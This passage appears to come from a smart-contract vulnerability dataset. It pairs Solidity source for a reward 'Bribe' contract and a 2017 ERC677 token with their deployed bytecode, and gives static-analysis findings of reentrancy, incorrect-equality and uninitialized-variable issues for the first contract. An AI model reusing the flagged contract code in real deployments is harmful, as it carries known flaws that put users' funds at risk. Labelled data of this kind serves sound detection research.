Checkpoint memory cp = checkpoints[tokenId][_endIndex];
(uint _rewardPerTokenStored,) = getPriorRewardPerToken(token, cp.timestamp);
reward += cp.balanceOf * (rewardPerToken(token) - Math.max(_rewardPerTokenStored, userRewardPerTokenStored[token][tokenId])) / PRECISION;
return reward;
}
// This is an external function, but internal notation is used since it can only be called "internally" from BaseV1Gauges
function _deposit(uint amount, uint tokenId) external {
require(msg.sender == factory);
totalSupply += amount;
balanceOf[tokenId] += amount;
_writeCheckpoint(tokenId, balanceOf[tokenId]);
_writeSupplyCheckpoint();
emit Deposit(msg.sender, tokenId, amount);
}
function _withdraw(uint amount, uint tokenId) external {
require(msg.sender == factory);
totalSupply -= amount;
balanceOf[tokenId] -= amount;
_writeCheckpoint(tokenId, balanceOf[tokenId]);
_writeSupplyCheckpoint();
emit Withdraw(msg.sender, tokenId, amount);
}
function left(address token) external view returns (uint) {
if (block.timestamp >= periodFinish[token]) return 0;
uint _remaining = periodFinish[token] - block.timestamp;
return _remaining * rewardRate[token];
}
// used to notify a gauge/bribe of a given reward, this can create griefing attacks by extending rewards
function notifyRewardAmount(address token, uint amount) external lock {
require(amount > 0);
if (rewardRate[token] == 0) _writeRewardPerTokenCheckpoint(token, 0, block.timestamp);
(rewardPerTokenStored[token], lastUpdateTime[token]) = _updateRewardPerToken(token);
if (block.timestamp >= periodFinish[token]) {
_safeTransferFrom(token, msg.sender, address(this), amount);
rewardRate[token] = amount / DURATION;
} else {
uint _remaining = periodFinish[token] - block.timestamp;
uint _left = _remaining * rewardRate[token];
require(amount > _left);
_safeTransferFrom(token, msg.sender, address(this), amount);
rewardRate[token] = (amount + _left) / DURATION;
}
require(rewardRate[token] > 0);
uint balance = erc20(token).balanceOf(address(this));
require(rewardRate[token] <= balance / DURATION, "Provided reward too high");
periodFinish[token] = block.timestamp + DURATION;
if (!isReward[token]) {
isReward[token] = true;
rewards.push(token);
}
emit NotifyReward(msg.sender, token, amount);
}
function _safeTransfer(address token, address to, uint256 value) internal {
require(token.code.length > 0);
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(erc20.transfer.selector, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))));
}
function _safeTransferFrom(address token, address from, address to, uint256 value) internal {
require(token.code.length > 0);
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(erc20.transferFrom.selector, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))));
}
}
contract BribeFactory {
address public last_gauge;
function createBribe() external returns (address) {
last_gauge = address(new Bribe(msg.sender));
return last_gauge;
}
}
|
0x608060405234801561001057600080fd5b50600436106102065760003560e01c80639e2bf22c1161011a578063e6886396116100ad578063f301af421161007c578063f301af4214610559578063f32077231461056c578063f5f8d3651461057f578063f7412baf14610592578063fd314098146105b957600080fd5b8063e68863961461050a578063e8111a1214610512578063f12297771461051b578063f25e55a51461052e57600080fd5b8063aaf5eb68116100e9578063aaf5eb68146104a1578063b66503cf146104b0578063c45a0155146104c3578063da09d19d146104ea57600080fd5b80639e2bf22c14610448578063a28d4c9c1461045b578063a7852afa1461046e578063aa4796521461048157600080fd5b80634d5ce0381161019d57806376f4be361161016c57806376f4be36146103a35780638dd598fb146103b657806399bcc052146103f55780639cc7f708146104085780639ce43f901461042857600080fd5b80634d5ce03814610328578063505897931461035b5780635a45d0521461037b578063638634ee1461039057600080fd5b80632ce9aead116101d95780632ce9aead146102985780633b881999146102b85780633e491d47146102e357806349dcc204146102f657600080fd5b806301316ddf1461020b57806318160ddd146102575780631be052891461026e578063221ca18c14610278575b600080fd5b61023d610219366004612243565b600e6020908152600092835260408084209091529082529020805460019091015482565b604080519283526020830191909152015b60405180910390f35b61026060085481565b60405190815260200161024e565b61026062093a8081565b61026061028636600461226f565b60006020819052908152604090205481565b6102606102a636600461226f565b60026020526000908152604090205481565b6102606102c6366004612243565b600560209081526000928352604080842090915290825290205481565b6102606102f1366004612243565b6105cc565b61023d61030436600461228c565b600a6020908152600092835260408084209091529082529020805460019091015482565b61034b61033636600461226f565b60076020526000908152604090205460ff1681565b604051901515815260200161024e565b6102606103693660046122ae565b600b6020526000908152604090205481565b61038e610389366004612243565b610834565b005b61026061039e36600461226f565b61086c565b6102606103b13660046122ae565b610890565b6103dd7f000000000000000000000000f2fec13cdb46760e065ddc1df9da16cb87afd61f81565b6040516001600160a01b03909116815260200161024e565b61026061040336600461226f565b6109c2565b6102606104163660046122ae565b60096020526000908152604090205481565b61026061043636600461226f565b60036020526000908152604090205481565b61038e61045636600461228c565b610a33565b61026061046936600461228c565b610b04565b61038e61047c3660046122dd565b610c47565b61026061048f36600461226f565b600f6020526000908152604090205481565b610260670de0b6b3a764000081565b61038e6104be366004612243565b610f87565b6103dd7f00000000000000000000000089549e232aacc4579f93b65735a9349038a4777581565b6102606104f836600461226f565b60016020526000908152604090205481565b600654610260565b610260600d5481565b61026061052936600461226f565b6112ce565b61026061053c366004612243565b600460209081526000928352604080842090915290825290205481565b6103dd6105673660046122ae565b61138c565b61038e61057a36600461228c565b6113b6565b61038e61058d3660046122dd565b61147f565b61023d6105a03660046122ae565b600c602052600090815260409020805460019091015482565b61023d6105c7366004612243565b611786565b6001600160a01b0382166000818152600460209081526040808320858452825280832054938352600e82528083208380529091528120549091829161061191906119a5565b6000848152600b602052604090205490915061063157600091505061082e565b600061063d8483610b04565b6000858152600b60205260408120549192509061065c906001906123c4565b90506000600161066c84846123c4565b111561077257825b61067f6001846123c4565b811015610770576000878152600a60208181526040808420858552808352818520825180840190935280548352600190810154838501528c865293909252929182906106cc9086906123db565b8152602001908152602001600020604051806040016040529081600082015481526020016001820154815250509050600061070b8b8460000151611786565b509050600061071e8c8460000151611786565b509050670de0b6b3a764000061073483836123c4565b856020015161074391906123f3565b61074d9190612412565b61075790876123db565b955050505050808061076890612434565b915050610674565b505b6000868152600a602090815260408083208584528252808320815180830190925280548083526001909101549282019290925291906107b2908a90611786565b506001600160a01b038a1660009081526005602090815260408083208c8452909152902054909150670de0b6b3a7640000906107ef9083906119a5565b6107f88b6112ce565b61080291906123c4565b836020015161081191906123f3565b61081b9190612412565b61082590846123db565b96505050505050505b92915050565b61083e82826119bc565b6001600160a01b03909316600090815260036020908152604080832060029092529091209390935590915550565b6001600160a01b03811660009081526001602052604081205461082e904290611b1b565b600d54600090806108a45750600092915050565b82600c60006108b46001856123c4565b815260200190815260200160002060000154116108dd576108d66001826123c4565b9392505050565b60008052600c6020527f13649b2456f1b42fef0f0040b3aaeabcd21a76a0f3f5defd4f583839455116e8548310156109185750600092915050565b6000806109266001846123c4565b90505b818111156109ba576000600261093f84846123c4565b6109499190612412565b61095390836123c4565b6000818152600c6020908152604091829020825180840190935280548084526001909101549183019190915291925090871415610994575095945050505050565b80518711156109a5578193506109b3565b6109b06001836123c4565b92505b5050610929565b509392505050565b6001600160a01b03811660009081526001602052604081205442106109e957506000919050565b6001600160a01b038216600090815260016020526040812054610a0d9042906123c4565b6001600160a01b0384166000908152602081905260409020549091506108d690826123f3565b336001600160a01b037f00000000000000000000000089549e232aacc4579f93b65735a9349038a477751614610a6857600080fd5b8160086000828254610a7a91906123c4565b909155505060008181526009602052604081208054849290610a9d9084906123c4565b9091555050600081815260096020526040902054610abc908290611b2a565b610ac4611c03565b604080518281526020810184905233917ff279e6a1f5e320cca91135676d9cb6e44ca8a08c0b88342bcdb1144f6511b56891015b60405180910390a25050565b6000828152600b602052604081205480610b2257600091505061082e565b6000848152600a602052604081208491610b3d6001856123c4565b81526020019081526020016000206000015411610b6757610b5f6001826123c4565b91505061082e565b6000848152600a60209081526040808320838052909152902054831015610b9257600091505061082e565b600080610ba06001846123c4565b90505b81811115610c3e5760006002610bb984846123c4565b610bc39190612412565b610bcd90836123c4565b6000888152600a60209081526040808320848452825291829020825180840190935280548084526001909101549183019190915291925090871415610c185750935061082e92505050565b8051871115610c2957819350610c37565b610c346001836123c4565b92505b5050610ba3565b50949350505050565b601054600114610c5657600080fd5b6002601055336001600160a01b037f00000000000000000000000089549e232aacc4579f93b65735a9349038a477751614610c9057600080fd5b6040516331a9108f60e11b8152600481018390526000907f000000000000000000000000f2fec13cdb46760e065ddc1df9da16cb87afd61f6001600160a01b031690636352211e90602401602060405180830381865afa158015610cf8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1c919061244f565b905060005b8251811015610f7c57610d4c838281518110610d3f57610d3f61246c565b6020026020010151611ca7565b60036000868581518110610d6257610d6261246c565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020600060026000888781518110610da257610da261246c565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060008491905055839190505550506000610dfd848381518110610def57610def61246c565b6020026020010151866105cc565b90504260046000868581518110610e1657610e1661246c565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060008781526020019081526020016000208190555060036000858481518110610e6957610e6961246c565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000205460056000868581518110610ea857610ea861246c565b6020908102919091018101516001600160a01b0316825281810192909252604090810160009081208982529092529020558015610f0357610f03848381518110610ef457610ef461246c565b60200260200101518483611e8a565b838281518110610f1557610f1561246c565b60200260200101516001600160a01b0316836001600160a01b03167f9aa05b3d70a9e3e2f004f039648839560576334fb45c81f91b6db03ad9e2efc983604051610f6191815260200190565b60405180910390a35080610f7481612434565b915050610d21565b505060016010555050565b601054600114610f9657600080fd5b600260105580610fa557600080fd5b6001600160a01b038216600090815260208190526040902054610fce57610fce82600042611f79565b610fd782611ca7565b6001600160a01b03841660009081526003602090815260408083206002835281842094909455939092556001909152205442106110455761101a82333084612068565b61102762093a8082612412565b6001600160a01b0383166000908152602081905260409020556110de565b6001600160a01b0382166000908152600160205260408120546110699042906123c4565b6001600160a01b0384166000908152602081905260408120549192509061109090836123f3565b905080831161109e57600080fd5b6110aa84333086612068565b62093a806110b882856123db565b6110c29190612412565b6001600160a01b03851660009081526020819052604090205550505b6001600160a01b03821660009081526020819052604090205461110057600080fd5b6040516370a0823160e01b81523060048201526000906001600160a01b038416906370a0823190602401602060405180830381865afa158015611147573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116b9190612482565b905061117a62093a8082612412565b6001600160a01b03841660009081526020819052604090205411156111e55760405162461bcd60e51b815260206004820152601860248201527f50726f76696465642072657761726420746f6f20686967680000000000000000604482015260640160405180910390fd5b6111f262093a80426123db565b6001600160a01b03841660009081526001602090815260408083209390935560079052205460ff16611284576001600160a01b0383166000818152600760205260408120805460ff191660019081179091556006805491820181559091527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f0180546001600160a01b03191690911790555b6040518281526001600160a01b0384169033907ff70d5c697de7ea828df48e5c4573cb2194c659f1901f70110c52b066dcf508269060200160405180910390a35050600160105550565b6000600854600014156112f757506001600160a01b031660009081526003602052604090205490565b6008546001600160a01b0383166000908152602081815260408083205460028352818420546001909352922054670de0b6b3a7640000929161133891611b1b565b6113418661086c565b61134b91906123c4565b61135591906123f3565b61135f91906123f3565b6113699190612412565b6001600160a01b03831660009081526003602052604090205461082e91906123db565b6006818154811061139c57600080fd5b6000918252602090912001546001600160a01b0316905081565b336001600160a01b037f00000000000000000000000089549e232aacc4579f93b65735a9349038a4777516146113eb57600080fd5b81600860008282546113fd91906123db565b9091555050600081815260096020526040812080548492906114209084906123db565b909155505060008181526009602052604090205461143f908290611b2a565b611447611c03565b604080518281526020810184905233917f90890809c654f11d6e72a28fa60149770a0d11ec6c92319d6ceb2bb0a4ea1a159101610af8565b60105460011461148e57600080fd5b600260105560405163430c208160e01b8152336004820152602481018390527f000000000000000000000000f2fec13cdb46760e065ddc1df9da16cb87afd61f6001600160a01b03169063430c208190604401602060405180830381865afa1580156114fe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611522919061249b565b61152b57600080fd5b60005b815181101561177c5761154c828281518110610d3f57610d3f61246c565b600360008585815181106115625761156261246c565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000206000600260008787815181106115a2576115a261246c565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020600084919050558391905055505060006115fd8383815181106115ef576115ef61246c565b6020026020010151856105cc565b905042600460008585815181106116165761161661246c565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020600086815260200190815260200160002081905550600360008484815181106116695761166961246c565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054600560008585815181106116a8576116a861246c565b6020908102919091018101516001600160a01b0316825281810192909252604090810160009081208882529092529020558015611703576117038383815181106116f4576116f461246c565b60200260200101513383611e8a565b8282815181106117155761171561246c565b60200260200101516001600160a01b0316336001600160a01b03167f9aa05b3d70a9e3e2f004f039648839560576334fb45c81f91b6db03ad9e2efc98360405161176191815260200190565b60405180910390a3508061177481612434565b91505061152e565b5050600160105550565b6001600160a01b0382166000908152600f60205260408120548190806117b357600080925092505061199e565b6001600160a01b0385166000908152600e6020526040812085916117d86001856123c4565b81526020019081526020016000206000015411611875576001600160a01b0385166000908152600e60205260408120906118136001846123c4565b815260200190815260200160002060010154600e6000876001600160a01b03166001600160a01b03168152602001908152602001600020600060018461185991906123c4565b815260200190815260200160002060000154925092505061199e565b6001600160a01b0385166000908152600e602090815260408083208380529091529020548410156118ad57600080925092505061199e565b6000806118bb6001846123c4565b90505b8181111561196d57600060026118d484846123c4565b6118de9190612412565b6118e890836123c4565b6001600160a01b0389166000908152600e602090815260408083208484528252918290208251808401909352805480845260019091015491830191909152919250908814156119475760208101519051909650945061199e9350505050565b805188111561195857819350611966565b6119636001836123c4565b92505b50506118be565b506001600160a01b0386166000908152600e6020908152604080832093835292905220600181015490549093509150505b9250929050565b6000818310156119b557816108d6565b5090919050565b6001600160a01b0382166000908152600260209081526040808320546003909252822054600d54839291906119f4579250905061199e565b6001600160a01b038616600090815260208190526040902054611a1d57925042915061199e9050565b6000611a2883610890565b90506000611a446001600d54611a3e91906123c4565b88611b1b565b9050815b81811015611b0c576000818152600c60209081526040918290208251808401909352805483526001015490820181905215611af9576000600c81611a8d8560016123db565b8152602001908152602001600020604051806040016040529081600082015481526020016001820154815250509050600080611ad88d8460000151866000015187602001518d612160565b9092509050611ae782896123db565b9750611af48d8983611f79565b975050505b5080611b0481612434565b915050611a48565b50919792965091945050505050565b60008183106119b557816108d6565b6000828152600b602052604090205442908015801590611b7457506000848152600a602052604081208391611b606001856123c4565b815260200190815260200160002060000154145b15611bad576000848152600a602052604081208491611b946001856123c4565b8152602081019190915260400160002060010155611bfd565b60408051808201825283815260208082018681526000888152600a8352848120868252909252929020905181559051600191820155611bed9082906123db565b6000858152600b60205260409020555b50505050565b600d54428115801590611c35575080600c6000611c216001866123c4565b815260200190815260200160002060000154145b15611c6457600854600c6000611c4c6001866123c4565b81526020810191909152604001600020600101555050565b60408051808201825282815260085460208083019182526000868152600c90915292909220905181559051600191820155611ca09083906123db565b600d555050565b6001600160a01b0381166000908152600260209081526040808320546003909252822054600d5483929190611cdf5794909350915050565b6001600160a01b038516600090815260208190526040902054611d06579442945092505050565b6000611d1183610890565b905060006001600d54611d2491906123c4565b90506001611d3283836123c4565b1115611e0a57815b611d456001836123c4565b811015611e08576000818152600c60209081526040918290208251808401909352805483526001015490820181905215611df5576000600c81611d898560016123db565b8152602001908152602001600020604051806040016040529081600082015481526020016001820154815250509050600080611dd48c8460000151866000015187602001518d612160565b9092509050611de382896123db565b9750611df08c8983611f79565b975050505b5080611e0081612434565b915050611d3a565b505b6000818152600c60209081526040918290208251808401909352805483526001015490820181905215611e7c576000611e5d89611e468b61086c565b8451611e52908a6119a5565b85602001518a612160565b509050611e6a81866123db565b9450611e77898642611f79565b429550505b509196929550919350505050565b6000836001600160a01b03163b11611ea157600080fd5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b1790529151600092839290871691611efd91906124bd565b6000604051808303816000865af19150503d8060008114611f3a576040519150601f19603f3d011682016040523d82523d6000602084013e611f3f565b606091505b5091509150818015611f69575080511580611f69575080806020019051810190611f69919061249b565b611f7257600080fd5b5050505050565b6001600160a01b0383166000908152600f60205260409020548015801590611fd557506001600160a01b0384166000908152600e602052604081208391611fc16001856123c4565b815260200190815260200160002060000154145b15611fff576001600160a01b0384166000908152600e602052604081208491611b946001856123c4565b60408051808201825283815260208082018681526001600160a01b0388166000908152600e83528481208682529092529290209051815590516001918201556120499082906123db565b6001600160a01b0385166000908152600f602052604090205550505050565b6000846001600160a01b03163b1161207f57600080fd5b604080516001600160a01b0385811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180516001600160e01b03166323b872dd60e01b17905291516000928392908816916120e391906124bd565b6000604051808303816000865af19150503d8060008114612120576040519150601f19603f3d011682016040523d82523d6000602084013e612125565b606091505b509150915081801561214f57508051158061214f57508080602001905181019061214f919061249b565b61215857600080fd5b505050505050565b600080600061216f87856119a5565b6001600160a01b0389166000908152602081905260409020549091508590670de0b6b3a7640000906121c26121a48a896119a5565b6001600160a01b038d16600090815260016020526040902054611b1b565b6001600160a01b038c166000908152600160205260409020546121e6908690611b1b565b6121f091906123c4565b6121fa91906123f3565b61220491906123f3565b61220e9190612412565b9890975095505050505050565b6001600160a01b038116811461223057600080fd5b50565b803561223e8161221b565b919050565b6000806040838503121561225657600080fd5b82356122618161221b565b946020939093013593505050565b60006020828403121561228157600080fd5b81356108d68161221b565b6000806040838503121561229f57600080fd5b50508035926020909101359150565b6000602082840312156122c057600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b600080604083850312156122f057600080fd5b8235915060208084013567ffffffffffffffff8082111561231057600080fd5b818601915086601f83011261232457600080fd5b813581811115612336576123366122c7565b8060051b604051601f19603f8301168101818110858211171561235b5761235b6122c7565b60405291825284820192508381018501918983111561237957600080fd5b938501935b8285101561239e5761238f85612233565b8452938501939285019261237e565b8096505050505050509250929050565b634e487b7160e01b600052601160045260246000fd5b6000828210156123d6576123d66123ae565b500390565b600082198211156123ee576123ee6123ae565b500190565b600081600019048311821515161561240d5761240d6123ae565b500290565b60008261242f57634e487b7160e01b600052601260045260246000fd5b500490565b6000600019821415612448576124486123ae565b5060010190565b60006020828403121561246157600080fd5b81516108d68161221b565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561249457600080fd5b5051919050565b6000602082840312156124ad57600080fd5b815180151581146108d657600080fd5b6000825160005b818110156124de57602081860181015185830152016124c4565b818111156124ed576000828501525b50919091019291505056fea2646970667358221220a22a6d9731fe98e7396bc8f8c9b50514291e16577c041398eaf2bd17fac19cd864736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 4,293 |
0x15598e17a5fc1e37a53741761e6fa070f04f0a24
|
/**
*Submitted for verification at Etherscan.io on 2017-09-23
*/
pragma solidity ^0.4.16;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC677 is ERC20 {
function transferAndCall(address to, uint value, bytes data) returns (bool success);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract ERC677Receiver {
function onTokenTransfer(address _sender, uint _value, bytes _data);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ERC677Token is ERC677 {
/**
* @dev transfer token to a contract address with additional data if the recipient is a contact.
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
* @param _data The extra data to be passed to the receiving contract.
*/
function transferAndCall(address _to, uint _value, bytes _data)
public
returns (bool success)
{
super.transfer(_to, _value);
Transfer(msg.sender, _to, _value, _data);
if (isContract(_to)) {
contractFallback(_to, _value, _data);
}
return true;
}
// PRIVATE
function contractFallback(address _to, uint _value, bytes _data)
private
{
ERC677Receiver receiver = ERC677Receiver(_to);
receiver.onTokenTransfer(msg.sender, _value, _data);
}
function isContract(address _addr)
private
returns (bool hasCode)
{
uint length;
assembly { length := extcodesize(_addr) }
return length > 0;
}
}
contract ABCToken is StandardToken, ERC677Token {
uint public constant totalSupply = 10**27;
string public constant name = 'ABC';
uint8 public constant decimals = 18;
string public constant symbol = 'ABC';
function ABCToken()
public
{
balances[msg.sender] = totalSupply;
}
/**
* @dev transfer token to a specified address with additional data if the recipient is a contract.
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
* @param _data The extra data to be passed to the receiving contract.
*/
function transferAndCall(address _to, uint _value, bytes _data)
public
validRecipient(_to)
returns (bool success)
{
return super.transferAndCall(_to, _value, _data);
}
/**
* @dev transfer token to a specified address.
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value)
public
validRecipient(_to)
returns (bool success)
{
return super.transfer(_to, _value);
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value)
public
validRecipient(_spender)
returns (bool)
{
return super.approve(_spender, _value);
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value)
public
validRecipient(_to)
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
// MODIFIERS
modifier validRecipient(address _recipient) {
require(_recipient != address(0) && _recipient != address(this));
_;
}
}
|
0x6060604052361561008c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063095ea7b31461009157806318160ddd146100eb57806323b872dd14610114578063661884631461018d57806370a08231146101e7578063a9059cbb14610234578063d73dd6231461028e578063dd62ed3e146102e8575b600080fd5b341561009c57600080fd5b6100d1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610354565b604051808215151515815260200191505060405180910390f35b34156100f657600080fd5b6100fe610447565b6040518082815260200191505060405180910390f35b341561011f57600080fd5b610173600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061044d565b604051808215151515815260200191505060405180910390f35b341561019857600080fd5b6101cd600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106fe565b604051808215151515815260200191505060405180910390f35b34156101f257600080fd5b61021e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610990565b6040518082815260200191505060405180910390f35b341561023f57600080fd5b610274600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109da565b604051808215151515815260200191505060405180910390f35b341561029957600080fd5b6102ce600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b76565b604051808215151515815260200191505060405180910390f35b34156102f357600080fd5b61033e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d73565b6040518082815260200191505060405180910390f35b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600190505b92915050565b60005481565b600080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061052183600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dfb90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506105b683600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e1590919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061060c8382610dfb90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505b509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561080f576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108a3565b6108228382610dfb90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505b5092915050565b6000600160008373ffffffffff